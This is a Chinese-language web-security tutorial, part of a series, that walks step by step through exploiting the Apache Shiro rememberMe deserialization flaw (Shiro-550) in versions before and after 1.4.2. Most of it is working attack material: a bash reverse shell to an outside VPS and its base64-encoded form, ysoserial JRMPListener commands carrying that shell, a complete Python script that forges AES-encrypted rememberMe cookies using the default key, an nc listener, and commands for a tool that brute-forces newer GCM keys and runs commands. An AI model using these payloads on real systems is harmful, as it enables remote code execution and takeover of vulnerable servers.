【WEB安全】Apache Shiro 反序列化漏洞(中)

五、Shiro rememberMe反序列化漏洞(Shiro-550)

1、版本1.4.2之前

该版本漏洞利用

第一步:启动靶机后,访问URL通过burp抓包,判断环境存在shiro,查看返回包中Set-Cookie中是否存在

第二步:打开公网vps,执行如下命令:(注意这里监听的端口为1099),并执行反弹shell的命令

配置maven

sudo wget  https://mirrors.tuna.tsinghua.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
tar -zxvf apache-maven-3.6.3-bin.tar.gz
sudo mv apache-maven-3.6.3 /usr/local/maven3
vim /etc/profile   末尾添加maven环境变量:
export M2_HOME=/usr/local/maven3
export PATH=$PATH:$JAVA_HOME/bin:$M2_HOME/bin
source /etc/profile

下载ysoserial并打包

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "反弹 shell 的命令"

这里的命令需要使用Java Runtime配置bash编码。

在线编码转换地址:http://www.jackson-t.ca/runtime-exec-payloads.html

转换命令如下:(这里是反弹shell的端口为1234)

bash -i >& /dev/tcp/192.168.8.9/1234 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjEwMS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

【WEB安全】Apache Shiro 反序列化漏洞(中)

第三步:最终在VPS上执行的命令如下:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjEwMS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "ping e78g5l.dnslog.cn"

【WEB安全】Apache Shiro 反序列化漏洞(中)

第四步:使用exp.py生成payload,命令如下:

python exp.py 192.168.8.9:1099   (注意这里的端口为1099)
import sys 
import uuid 
import base64 
import subprocess 
from Crypto.Cipher import AES 
def encode_rememberme(command): 
    #open = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'UTLDNS', command], stdout=subprocess.PIPE)
    #open = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsColllections5', command], stdout=subprocess.PIPE)
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext
if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
    print ("rememberMe={0}".format(payload.decode()))

【WEB安全】Apache Shiro 反序列化漏洞(中)

第五步:在VPS上,使用nc监听1234端口,命令如下:

nc -lvvp 1234

第六步:通过burp抓取任意的http数据包,在cookie中添加生成的payload

第七步:通过burp发送数据包,查看VPS中java监听接口,nc监听结果。


2、版本1.4.2之后

在Shiro1.4.2版本后,Shiro的加密模式由AES-CBC更换为 AES-GCM,Shiro高版本下的漏洞利用,就需要考虑加密模式变化的情况。另外,这里cookie传递的参数是自定义的,而不是常见的rememberMe,这也是需要注意的地方。

该版本漏洞利用

一个攻击针对脚本,加入的GCM,可以爆破高版本的KEY

Github项目地址:

https://github.com/Ares-X/shiro-exploit.git

首先,我们需要根据目标环境修改python脚本参数,将rememberMe 替换为 xxx_remeberme,使参数能够正常传递。

【WEB安全】Apache Shiro 反序列化漏洞(中)

利用脚本来爆破Shiro key,不指定-v将自动尝试两个版本的爆破

(-v 1 : CBC加密 -v 2 : GCM加密):

python shiro-exploit.py check -u http://192.168.8.6/shiro-cas.shtml

python3 shiro-exploit.py check -u http://192.168.8.6/shiro-cas.shtml -v 2

发送回显Payload,获取命令执行结果。

python shiro-exploit.py echo -g CommonsBeanutils2  -v 2 -k 3AvVhmFLUs0KTA3Kprsdag== -c

脚本可能无法显示回显,所以我们可以配置代理去在burp中查看回显

修改python脚本设置代理,在requests使用代理proxies,增加proxies={‘http’: ‘http://’ + ‘127.0.0.1:8080’}。

【WEB安全】Apache Shiro 反序列化漏洞(中)

这样就可以将流量引入BurpSuite,抓取HTTP数据包,手动利用查看回显。

上一篇:[WEB安全]MSSQL/SQL Server 提权手法详解(上)


下一篇:[WEB安全]红日靶场(一)环境搭建(下)